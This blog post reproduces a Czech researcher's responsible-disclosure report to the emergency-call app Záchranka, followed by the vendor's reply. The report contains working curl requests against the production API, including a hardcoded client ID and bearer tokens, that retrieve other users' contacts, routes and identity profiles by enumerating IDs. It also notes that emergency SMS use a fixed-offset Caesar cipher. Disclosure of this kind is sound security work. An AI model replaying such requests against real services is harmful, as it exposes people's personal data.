In January 2025, I found an Insecure Direct Object Reference vulnerability in a Czech mobile app for emergency calls “Záchranka“. Below, I share the report (In Czech) I sent immediately after the finding to the Záchranka team.
24. 1. 2025, to fmalenak@zachrankaapp.cz
Dobrý den,
chtěl bych nahlásit několik zranitelností, které jsem našel v aplikaci Záchranka.
V tuto chvíli je možné skrz API získat:
- tisíce nouzových kontaktů/patronů (celé jméno, email, telefon)
- stovky tůr (jednotlivé body, kterými prochází cesta uživatele, název, poloha, čas)
- desítky/stovky “education” profilů (plný profil, tedy jméno, email, telefon, váha, výška, rodné číslo, atd.)
Také jsem zjistil, že nouzové SMS jsou šifrovány Caesarovou šifrou s pevně daným offsetem. Na stránce FAQ uvádíte, že SMS jsou šifrované, z čehož by čtenář mohl získat dojem, že citlivé informace z SMS nelze třetí stranou získat, což v případě Caesarovy šifry není pravda.
Bezpečností se nezabývám profesionálně, a celkově jsem tomuto věnoval den, takže je možné, že jsem nějaké chyby přehlédl. Před pár týdny jsme se o aplikaci bavili s kamarády a mě jen napadlo se podívat, jak přesně funguje posílání záchranných SMSek. Během toho jsem objevil tyto chyby.
Aplikace komunikuje s REST API, které běží na: https://api.zachranka.app/api/cz/v8/
Útočník nejprve musí získat autentizační token na endpointu auth/token, to lze provést pomocí jednoho http requestu:
curl -X POST https://api.zachranka.app/api/cz/v8/auth/token -d '{"grant_type": "implicit", "client_id": "cz_zachranka_android_a88e4b9a98", "device_id": "cokoliv", "refresh_token": null}'server vrátí zpátky token, který platí 7 dní.
Pomocí tohoto tokenu pak lze zaregistrovat profil na endpointu user/sync:
curl -X POST -H "Authorization: Bearer gFpr42lFT3160WSZtGakDH53ZCHrUXD8" https://api.zachranka.app/api/cz/v8/user/sync -d '{"device_id": "test", "app_version": "test", "system_version": "test", "platform": "test", "language": "cz"}' | jqserver zpátky vrátí plné informace o profilu. Zde je jedna zajímavost, že profil obsahuje pole “registered”, když v rámci požadavku na user/sync pošlu v jsonu “registered”: true, tak se toto nastaví i v profilu. Popravdě jsem nezkoumal, jestli “registered” souvisí s verifikací mobilního čísla, ale pokud ano, pak je toto další chyba.
Jakmile máme token a k němu přiřazený profil, můžeme posílat požadavky na další endpointy, jako jsou outing/create, guardianangel/create a education/user/activate. Zde se nachází zmíněné chyby, kterými se lze dostat k osobním údajům ostatních uživatelů.
Následujícím requestem mohu získat informace z tabulky “contacts” podle předaného id:
curl -X POST -H "Authorization: Bearer gFpr42lFT3160WSZtGakDH53ZCHrUXD8" https://api.zachranka.app/api/cz/v8/guardianangel/create -d '{"start_date": "2025-01-23T00:09:36Z", "end_date": "2025-01-25T00:09:36Z", contacts: [{id:12099}]}' | jq
Následujícím requestem mohu získávat route_points:
curl -X POST -H "Authorization: Bearer amcrvfHrNbyrtLkq4O8fKHCcQEcml73D" https://api.zachranka.app/api/cz/v8/outing/create -d "{route_points: [{id: 20429}]}" | jqZde vytahuji “partners”:
curl -X POST -H "Authorization: Bearer amcrvfHrNbyrtLkq4O8fKHCcQEcml73D" https://api.zachranka.app/api/cz/v8/outing/create -d "{route_points: [{}], partners: [{id: 2131}]}" | jqPak na endpointu education/user/activate lze skrz různé nastavení “activation_code” vytahovat náhodné profily education uživatelů:
curl -X POST -H "Authorization: Bearer gFpr42lFT3160WSZtGakDH53ZCHrUXD8" https://api.zachranka.app/api/cz/v8/education/user/activate -d '{activation_code: 0}' | jq
Vzhledem k tomu, že tato zkoumání zanechávají stopy v databázi, tak snad budete schopni zjistit, jestli jsem první, kdo si těchto chyb všiml, nebo to bylo víc lidí.
Samozřejmě jsem nestahoval žádné informace hromadně a neupravoval nic krom svých záznamů. Také jsem se vůbec nedíval na endpointy, které jakkoliv souvisely s nouzovými voláními, protože jsem nechtěl riskovat, že bych nějak narušil běh této zásadní funkcionality.
Zdraví
Jirka Balhar
27. 1. 2025, from fmalenak@zachrankaapp.cz
Dobrý den,
děkujeme za zaslané informace. Rozhodně nic z toho neberu na lehkou váhu. Uvedené skutečnosti jsme v posledních dvou dnech důkladně prověřovali za účelem zajištění bezpečnosti dat a provádíme i další audit všech rozhraní. Služby tísňového volání a další doplňkové služby máme v app striktně odděleny. Stran nouzové SMS se ale jedná spíše o to, aby uživatel do jejího obsahu nezasahoval nežli o nějakou pokročilou šifru. Zde ani není cílem SMS nějak výrazněji maskovat, každý dnes může poslat v případě nouze na tísňovou linku standardní SMS, která je brána stejně jako tísňové volání. I tak děkujeme za externí pohled.
Hezký den
Filip Maleňák


Leave a Reply